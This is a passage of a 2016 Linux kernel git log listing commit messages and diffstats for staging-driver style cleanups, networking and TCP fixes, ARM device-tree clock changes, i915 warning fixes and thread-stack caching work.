brace '{'. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/vb_setmode.c | 6 ------ 1 file changed, 6 deletions(-) commit aa18660f62a7013683204fbfd66254f056474054 Author: Gargi Sharma Date: Fri Sep 16 00:37:10 2016 +0530 staging: xgifb: remove unnecessary parentheses ! has higher priority than && or ||, so remove parentheses around ! expressions to make the code more readable. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/vb_setmode.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit 13bfbf0edce13bb61adff5fd2b8052c262ba75f4 Author: Gargi Sharma Date: Fri Sep 16 00:37:09 2016 +0530 staging: xgifb: move AND operator for logical continuation Move && up to the previous line, to fix the checkpatch issue Logical continuations should be on the previous line. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/vb_setmode.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 521865a8c9a8d4a189355339457d96b62699eb35 Author: Bhumika Goyal Date: Fri Sep 16 02:09:08 2016 +0530 Staging: comedi: s626: Remove all unused functions Remove all #ifdef'ed static functions as they are not used anywhere in the kernel. Some functions were detected using Coccinelle but removed by hand and some were removed as the functions in which they were getting used were also unused functions. Script: @initialize:python@ @@ def display(name,p): print(name,p[0].file) @r1@ identifier func; type T; position p; @@ static T func@p(...) { ... } @r@ identifier r1.func; @@ func @script:python depends on !r@ func << r1.func; p << r1.p; @@ display(func,p) Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/s626.c | 284 ---------------------------------- 1 file changed, 284 deletions(-) commit 1d7b47a3c78e0b5391a18246f9637752a4565e5b Author: Wei Yongjun Date: Thu Sep 15 02:26:10 2016 +0000 net: emac: remove .owner field for driver Remove .owner field if calls are used which set it automatically. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac.c | 1 - 1 file changed, 1 deletion(-) commit 7e5eded5c189abaea77556da41af1195af841b0a Author: Wei Yongjun Date: Thu Sep 15 02:25:52 2016 +0000 net: emac: remove unnecessary dev_set_drvdata() The driver core clears the driver data to NULL after device_release or on probe failure. Thus, it is not needed to manually clear the device driver data to NULL. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac.c | 1 - 1 file changed, 1 deletion(-) commit 46c21e20128ac156c5b1503bab33ba1659283815 Author: Wei Yongjun Date: Thu Sep 15 02:24:37 2016 +0000 net: dsa: b53: Remove unused including Remove including that don't need it. Signed-off-by: Wei Yongjun Acked-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_priv.h | 1 - 1 file changed, 1 deletion(-) commit 0e26e5bd518f608ee2023b29429ecd4cd8b6969d Author: Wei Yongjun Date: Thu Sep 15 02:24:13 2016 +0000 net: dsa: bcm_sf2: Fix non static symbol warning Fixes the following sparse warning: drivers/net/dsa/bcm_sf2.c:963:19: warning: symbol 'bcm_sf2_io_ops' was not declared. Should it be static? Signed-off-by: Wei Yongjun Acked-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 52edd01ffdc094465906f34ba78aec0bc0f2eedc Author: Gargi Sharma Date: Fri Sep 16 00:07:51 2016 +0530 staging: octeon: remove multiple blank lines Fixes the checkpatch issue Please don't use multiple blank lines. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 2 -- 1 file changed, 2 deletions(-) commit 132aba090d2dd98adb45c8f8cc38e21ccbfb98b3 Author: Sergio Paracuellos Date: Thu Sep 15 20:51:24 2016 +0200 staging: rts5208: make some vars to lower case to keep the style consistent This patch fixes the checkpatch.pl warning: WARNING: Comparisons should place the constant on the right side of the test Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_card.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 053ead220203d3e742d8345d411ebb166f2aa6b4 Author: Wei Yongjun Date: Thu Sep 15 02:27:27 2016 +0000 staging: fsl-mc: remove .owner field for driver Remove .owner field if calls are used which set it automatically. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Wei Yongjun Acked-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 1 - 1 file changed, 1 deletion(-) commit 9f4feef54d97529c095f27f131f2ae6a254645fd Author: Wei Yongjun Date: Thu Sep 15 02:27:04 2016 +0000 staging: fsl-mc: use list_del_init instead of list_del/INIT_LIST_HEAD Using list_del_init() instead of list_del() + INIT_LIST_HEAD(). Signed-off-by: Wei Yongjun Acked-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 4a236d01b5e0d7e6f4ee9e6c4056fce10b38e8ad Author: Arnd Bergmann Date: Thu Sep 15 17:57:40 2016 +0200 staging: android ion/hisi: fix dependencies The newly added Hi6220 Ion code fails to build when the ION_OF helpers are not present: drivers/staging/android/ion/hisilicon/hi6220_ion.o: In function `hi6220_ion_remove': hi6220_ion.c:(.text.hi6220_ion_remove+0x4c): undefined reference to `ion_destroy_platform_data' drivers/staging/android/ion/hisilicon/hi6220_ion.o: In function `hi6220_ion_probe': hi6220_ion.c:(.text.hi6220_ion_probe+0x5c): undefined reference to `ion_parse_dt' hi6220_ion.c:(.text.hi6220_ion_probe+0xf8): undefined reference to `ion_destroy_platform_data' This selects the symbol when needed. Fixes: 2b40182a19bc ("staging: android: ion: Add ion driver for Hi6220 SoC platform") Signed-off-by: Arnd Bergmann Acked-by: Laura Abbott Reviewed-by: Sumit Semwal Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 299ac44422fbe7ff23ff1f01667cfe87bc61c74a Author: Wei Yongjun Date: Thu Sep 15 02:20:43 2016 +0000 staging: android: ion: Fix return value check in hi6220_ion_probe() In case of error, the function ion_device_create() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Reviewed-by: Sumit Semwal Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/hisilicon/hi6220_ion.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 29b7d5817bd2795454739226f517fc2b47eb2b51 Author: Rehas Sachdeva Date: Fri Sep 16 01:11:08 2016 +0530 staging: lustre: Remove unnecessary return capture Instead of storing the return value of a function call into a variable and then returning it, we can club the two into a single return statement. This change was made using the following semantic patch by Coccinelle: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_request.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 3428e918e25611a08842b37b352ccb1960fbe012 Author: Gargi Sharma Date: Fri Sep 16 01:44:14 2016 +0530 staging: emxx_udc: add braces to if-else block add braces to if/else clause to fix the checkpatch issue braces {} should be used on all arms of if/else block. Does not affect flow because only single statement inside if/else block. Signed-off-by: Gargi Sharma Signed-off-by: Greg Kroah-Hartman drivers/staging/emxx_udc/emxx_udc.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 190b95170daa713fbd1a8ad53e266aa1139678be Author: Anchal Jain Date: Wed Sep 14 23:38:04 2016 +0530 staging: emxx_udc: Fix unsigned int to bare use of unsigned This is a patch to fixes up a WARNING: Prefer 'unsigned int' to bare use of 'unsigned' found by the checkpatch.pl tool Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/emxx_udc/emxx_udc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d5102ad4d61881671a804c379c59052b89da4fd0 Author: Rehas Sachdeva Date: Wed Sep 14 22:14:56 2016 +0530 staging: gs_fpgaboot: Remove FSF address from GPL notice This patch fixes the checkpatch.pl warning: CHECK: Do not include the paragraph about writing to the Free Software Foundation's mailing address from the sample GPL notice. The FSF has changed addresses in the past, and may do so again. Linux already includes a copy of the GPL. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/gs_fpgaboot/gs_fpgaboot.c | 4 ---- drivers/staging/gs_fpgaboot/gs_fpgaboot.h | 5 ----- 2 files changed, 9 deletions(-) commit 49288a345b3df3d8b4212856cb1e056227cc3653 Author: Rehas Sachdeva Date: Wed Sep 14 21:43:04 2016 +0530 staging: gdm724x: Remove unnecessary blank line This patch fixes the checkpatch.pl warning: CHECK: Please don't use multiple blank lines Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/gdm724x/hci_packet.h | 1 - 1 file changed, 1 deletion(-) commit 30fde3a91ce7c0ea61f1b672e256d574b53f132f Author: Bhumika Goyal Date: Thu Sep 15 19:47:18 2016 +0530 Staging: netlogic: Remove unused function The function xlr_wakeup_queue is not used anywhere in the kernel. Therefore, remove it. The static unused functions were detected using Coccinelle but the change was done by hand. Script used: @initialize:python@ @@ def display(name,p): print(name,p[0].file) @r1@ identifier func; type T; position p; @@ static T func@p(...) { ... } @r@ identifier r1.func; @@ func @script:python depends on !r@ func << r1.func; p << r1.p; @@ display(func,p) Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/netlogic/xlr_net.c | 10 ---------- 1 file changed, 10 deletions(-) commit 76f0dcbb5ae1a7c3dbeec13dd98233b8e6b0b32a Author: Eric Dumazet Date: Tue Sep 13 22:55:05 2016 -0700 tcp: fix a stale ooo_last_skb after a replace When skb replaces another one in ooo queue, I forgot to also update tp->ooo_last_skb as well, if the replaced skb was the last one in the queue. To fix this, we simply can re-use the code that runs after an insertion, trying to merge skbs at the right of current skb. This not only fixes the bug, but also remove all small skbs that might be a subset of the new one. Example: We receive segments 2001:3001, 4001:5001 Then we receive 2001:8001 : We should replace 2001:3001 with the big skb, but also remove 4001:50001 from the queue to save space. packetdrill test demonstrating the bug 0.000 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3 +0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 +0 bind(3, ..., ...) = 0 +0 listen(3, 1) = 0 +0 < S 0:0(0) win 32792 +0 > S. 0:0(0) ack 1 +0.100 < . 1:1(0) ack 1 win 1024 +0 accept(3, ..., ...) = 4 +0.01 < . 1001:2001(1000) ack 1 win 1024 +0 > . 1:1(0) ack 1 +0.01 < . 1001:3001(2000) ack 1 win 1024 +0 > . 1:1(0) ack 1 Fixes: 9f5afeae5152 ("tcp: use an RB tree for ooo receive queue") Signed-off-by: Eric Dumazet Reported-by: Yuchung Cheng Cc: Yaogong Wang Signed-off-by: David S. Miller net/ipv4/tcp_input.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit bbac843d144cdabe0c63321a7e3325c62a0bb7a9 Author: Rehas Sachdeva Date: Thu Sep 15 09:38:21 2016 +0530 staging: dgnc: Fix long line and spelling mistake This patch fixes the checkpatch.pl warning: Line over 80 characters. Also, the word 'because' was spelled as 'Becuz' and has been corrected. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_neo.c | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) commit e88e4463b9e1bae7c6701b82673d29ba281712e1 Author: Rehas Sachdeva Date: Wed Sep 14 20:38:24 2016 +0530 staging: dgnc: Fix lines over 80 characters This patch fixes the checkpatch.pl warning: Line over 80 characters. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_neo.c | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) commit 4db7c0bebdff87e1c81ed4fbafc65cddec109e3d Author: Wei Yongjun Date: Thu Sep 15 10:12:05 2016 +0000 staging: rtl8712: fix double lock bug in SetPSModeWorkItemCallback() Fix a double lock bug in SetPSModeWorkItemCallback(). Fixes: 5c2ba8b85e35 ("rtl8712: pwrctrl_priv: Replace semaphore lock with mutex") Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl871x_pwrctrl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e30ed33d197ccabfb7b46a6b1354a2fdfb546c8f Author: Wei Yongjun Date: Thu Sep 15 10:13:04 2016 +0000 staging: ks7010: remove unused including Remove including that don't need it. Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 1 - 1 file changed, 1 deletion(-) commit a1a736df3a811241100737b90f21582742529cff Author: sayli karnik Date: Thu Sep 15 14:08:22 2016 +0530 staging: ks7010: Remove the explicit cast on kmalloc The assignment operator implicitly converts a void pointer to the type of the pointer it is assigned to. Hence an explicit cast on the result of the kmalloc function is not required. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 47 +++++++++++++------------------------- 1 file changed, 16 insertions(+), 31 deletions(-) commit c8abeaf8021b1d78ba3b86235815047c8d648f4a Author: Rehas Sachdeva Date: Thu Sep 15 00:52:58 2016 +0530 staging: ks7010: Remove whitespace before newline This patch fixes the checkpatch.pl warning: WARNING: unnecessary whitespace before a quoted newline. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 6 +++--- drivers/staging/ks7010/ks_hostif.c | 24 ++++++++++++------------ 2 files changed, 15 insertions(+), 15 deletions(-) commit baa30626a9473efe4004512a0507645a6832cb1b Author: Rehas Sachdeva Date: Fri Sep 16 00:45:32 2016 +0530 staging: slicoss: Remove unnecessary braces {} Removes unnecessary braces {} on both arms of an if-else block as they have a single statement each. Issue detected by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 1462b30786e336d73251e6c102e2ad92abc23b4a Author: Rehas Sachdeva Date: Fri Sep 16 00:44:38 2016 +0530 staging: slicoss: Remove blank lines before & after braces Removes unnecessary blank lines after an opening brace '{' and before a closing brace '}'. Issue detected by checkpatch.pl. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 3 --- 1 file changed, 3 deletions(-) commit 1ef87b8d5c91c405745c35544d9c8e6bf1c94502 Author: Rehas Sachdeva Date: Fri Sep 16 00:45:57 2016 +0530 staging: slicoss: Remove unnecessary blank line Removes unnecessary blank line detected by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 1 - 1 file changed, 1 deletion(-) commit a54570a8c0ba5a08b017c6afbe5ffed242ea6c59 Author: Anchal Jain Date: Tue Sep 13 16:51:51 2016 +0530 staging: media: lirc: lirc_imon: Fix alignment with the open parenthesis Fix alignment to match open parenthesis. Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit f32519bf8ec6659324b95af98d0c450488f3b451 Author: Anchal Jain Date: Tue Sep 13 16:48:01 2016 +0530 staging: media: lirc: lirc_imon: Add space around the operators CHECK: Add space around the operators { "<<", "*"}. Signed-off-by: Anchal Jain Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c16f06f55c88ed831fe8569668d75b18f8ead795 Author: Anchal Jain Date: Tue Sep 13 16:45:24 2016 +0530 staging: media: lirc: lirc_imon: Remove a blank line before a close parenthesis '}' CHECK: Remove unnecessary space after cast Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 09ed2c0b9b2f87f5459f13330762abf902b7ed0d Author: Anchal Jain Date: Tue Sep 13 16:42:51 2016 +0530 staging: media: lirc: lirc_imon: Remove unnecessary blank line CHECK: Remove a blank lines before a closed parenthesis '}' Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 1 - 1 file changed, 1 deletion(-) commit 0152b5b2a519406e10f91cdb3f1ab7d507f49783 Author: Anchal Jain Date: Tue Sep 13 16:34:53 2016 +0530 staging: media: lirc: lirc_imon: Remove multiple blank lines checkpatch complains about multiple blank lines. Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_imon.c | 1 - 1 file changed, 1 deletion(-) commit 2c768b8bfb61e45f736bb042ce3218096f6a1bfd Author: Anchal Jain Date: Tue Sep 13 16:30:41 2016 +0530 staging: media: lirc: lirc_bt829: Remove explicit NULL comparison Remove explicit NULL comparison and write it in its simpler form. Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/media/lirc/lirc_bt829.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1fed320aaeb0f8c75860f2e772619bf18d2144eb Author: Rehas Sachdeva Date: Fri Sep 16 03:03:21 2016 +0530 staging: sm750fb: Change 'uint32_t' to 'u32' It is preferred to use 'u32' instead of 'uint32_t' for unsigned int. Issue detected by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750_hw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 71b4de84a0ef8b495da3d3ca884e3e601b05af1b Author: Rehas Sachdeva Date: Fri Sep 16 03:02:42 2016 +0530 staging: sm750fb: Change 'x != NULL' to 'x' Changes the explicit comparison to NULL from 'x != NULL' to 'x'. Issue detected by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b29376c31aaade2e28a79722c680f7c60500af48 Author: Moshe Green Date: Thu Sep 15 23:16:11 2016 +0300 staging: sm750fb: fix block comment style and spelling issues in ddk750_chip.c Fix the following warning types: - line length - block comment line * prefix - trailing */ on a separate line found by the checkpatch.pl tool in multiple block comments. Fix a single spelling error in a comment. Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 49 +++++++++++++++++++---------------- 1 file changed, 27 insertions(+), 22 deletions(-) commit 46b7dd7ce3e0de9b92402032877cc414b5ba9216 Author: Moshe Green Date: Thu Sep 15 23:15:50 2016 +0300 staging: sm750fb: fix line length coding style issues in ddk750_chip.c Fix multiple line length warnings found by the checkpatch.pl tool in ddk750_chip.c. Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) commit d769079b08da16c614849362199cc075f5a1fda2 Author: Sandhya Bankar Date: Wed Sep 14 17:37:51 2016 +0530 Staging: sm750fb: Remove unnecessary blank line Remove unnecessary blank line. This patch is detected by checkpatch.pl script . CHECK: Blank lines aren't necessary before a close brace '}' Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_display.c | 2 -- 1 file changed, 2 deletions(-) commit 3a74152ce62e7ec1b8a5604b10e40d2a66d8f43b Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STiH410: clock configuration to address 720p and 1080p It is necessary to properly configure these clocks in order to address 720p and 1080p HDMI resolution. Signed-off-by: Vincent Abriou Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih410.dtsi | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit a0bfc7d068f685565f15f5f1e113eb293b68980b Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STi: STiH407: clock configuration to address 720p and 1080p It is necessary to properly configure these clocks in order to address 720p and 1080p HDMI resolution. Signed-off-by: Vincent Abriou Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih407.dtsi | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 3b8b9f7fd25d28b323f58ac67cf577d7bf0cc6bb Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STiH418: Enable synchronous clock mode for video clocks This patch enables the synchronous clock mode for video clocks on STiH418 board. Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih418-clock.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9bc4ec59ab48ec2acd40c14afe227e074a485849 Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STiH410: Enable synchronous clock mode for video clocks This patch enables the synchronous clock mode for video clocks on STiH410 board. Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih410-clock.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 295971d01f4d5a248d33f95bf20ed423aed19199 Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STiH407: Enable synchronous clock mode for video clocks This patch enables the synchronous clock mode for video clocks on STiH407 board. Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih407-clock.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 97e7abdb8910df3ecebcbd0805f69535df71da82 Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STiH418: Enable clock propagation for audio clocks This patch is used in the clock driver to apply a clock propagation flag on the audio clocks of STiH418 Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih418-clock.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 66ac420ab324faba09995a11c7faff7009d8d681 Author: Gabriel Fernandez Date: Mon Aug 29 14:27:00 2016 +0200 ARM: dts: STiH410: Enable clock propagation for audio clocks This patch is used in the clock driver to apply a clock propagation flag on the audio clocks of STiH410 Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih410-clock.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ee7ff1b4afb0c2298e37b5169ec74e21cd077c85 Author: Gabriel Fernandez Date: Mon Aug 29 14:26:00 2016 +0200 ARM: dts: STiH407: Enable clock propagation for audio clocks This patch is used in the clock driver to apply a clock propagation flag on the audio clocks of STiH407 Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin arch/arm/boot/dts/stih407-clock.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 665c8ec1222a6ede0615e9bcca914d1834da12de Author: Gabriel Fernandez Date: Mon Aug 29 14:26:00 2016 +0200 ARM: dts: STiH4xx: Simplify clock binding of STiH4xx platforms This patch simplifies the clock binding because we had too much detail. Signed-off-by: Gabriel Fernandez arch/arm/boot/dts/stih407-clock.dtsi | 18 +++++++++--------- arch/arm/boot/dts/stih410-clock.dtsi | 16 ++++++++-------- arch/arm/boot/dts/stih418-clock.dtsi | 16 ++++++++-------- 3 files changed, 25 insertions(+), 25 deletions(-) commit 911f4869eb334cb397c9c40c4b8893fcd93880ed Author: Jani Nikula Date: Thu Sep 15 16:28:55 2016 +0300 drm/i915: use NULL for NULL pointers Fix sparse warning: drivers/gpu/drm/i915/i915_cmd_parser.c:987:72: warning: Using plain integer as NULL pointer Fixes: 52a42cec4b70 ("drm/i915/cmdparser: Accelerate copies from WC memory") Cc: Chris Wilson Reviewed-by: Dhinakaran Pandiyan Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473946137-1931-4-git-send-email-jani.nikula@intel.com drivers/gpu/drm/i915/i915_cmd_parser.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bcbfcc37cdd4fd7564a6657d5d6bd4719079900b Author: Jani Nikula Date: Thu Sep 15 16:28:53 2016 +0300 drm/i915: do not use 'false' as a NULL pointer Fixes sparse warning: drivers/gpu/drm/i915/intel_dpll_mgr.c:1712:24: warning: Using plain integer as NULL pointer Fixes: a277ca7dc01d ("drm/i915: Split bxt_ddi_pll_select()") Cc: Manasi Navare Cc: Ander Conselvan de Oliveira Cc: Durgadoss R Cc: Rodrigo Vivi Reviewed-by: Dhinakaran Pandiyan Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473946137-1931-2-git-send-email-jani.nikula@intel.com drivers/gpu/drm/i915/intel_dpll_mgr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f580bea97df4c0297ce64473b42645ed4612900d Author: Jani Nikula Date: Thu Sep 15 16:28:52 2016 +0300 drm/i915: make intel_dp_compute_bpp static Fix sparse warning: drivers/gpu/drm/i915/intel_dp.c:1527:5: warning: symbol 'intel_dp_compute_bpp' was not declared. Should it be static? Fixes: f9bb705e65f6 ("drm/i915: Update bits per component for display info") Cc: Mika Kahola Cc: Jim Bride Reviewed-by: Jim Bride Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473946137-1931-1-git-send-email-jani.nikula@intel.com drivers/gpu/drm/i915/intel_dp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ac496bf48d97f2503eaa353996a4dd5e4383eaf0 Author: Andy Lutomirski Date: Thu Sep 15 22:45:49 2016 -0700 fork: Optimize task creation by caching two thread stacks per CPU if CONFIG_VMAP_STACK=y vmalloc() is a bit slow, and pounding vmalloc()/vfree() will eventually force a global TLB flush. To reduce pressure on them, if CONFIG_VMAP_STACK=y, cache two thread stacks per CPU. This will let us quickly allocate a hopefully cache-hot, TLB-hot stack under heavy forking workloads (shell script style). On my silly pthread_create() benchmark, it saves about 2 µs per pthread_create()+join() with CONFIG_VMAP_STACK=y. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/94811d8e3994b2e962f88866290017d498eb069c.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar kernel/fork.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 53 insertions(+), 9 deletions(-) commit 68f24b08ee892d47bdef925d676e1ae1ccc316f8 Author: Andy Lutomirski Date: Thu Sep 15 22:45:48 2016 -0700 sched/core: Free the stack early if CONFIG_THREAD_INFO_IN_TASK We currently keep every task's stack around until the task_struct itself is freed. This means that we keep the stack allocation alive for longer than necessary and that, under load, we free stacks in big batches whenever RCU drops the last task reference. Neither of these is good for reuse of cache-hot memory, and freeing in batches prevents us from usefully caching small numbers of vmalloced stacks. On architectures that have thread_info on the stack, we can't easily change this, but on architectures that set THREAD_INFO_IN_TASK, we can free it as soon as the task is dead. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/08ca06cde00ebed0046c5d26cbbf3fbb7ef5b812.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar include/linux/init_task.h | 4 +++- include/linux/sched.h | 14 ++++++++++++++ kernel/fork.c | 35 ++++++++++++++++++++++++++++++++++- kernel/sched/core.c | 4 ++++ 4 files changed, 55 insertions(+), 2 deletions(-) commit aa1f1a639621672b68f654dc815a7d8298ff396f Author: Andy Lutomirski Date: Thu Sep 15 22:45:47 2016 -0700 lib/syscall: Pin the task stack in collect_syscall() This will avoid a potential read-after-free if collect_syscall() (e.g. /proc/PID/syscall) is called on an exiting task. Reported-by: Jann Horn Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/0bfd8e6d4729c97745d3781a29610a33d0a8091d.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar lib/syscall.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 74327a3e884a0ff895ba7b51d3488e6a177407b2 Author: Andy Lutomirski Date: Thu Sep 15 22:45:46 2016 -0700 x86/process: Pin the target stack in get_wchan() This will prevent a crash if get_wchan() runs after the task stack is freed. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/337aeca8614024aa4d8d9c81053bbf8fcffbe4ad.1474003868.git.luto@kernel.org 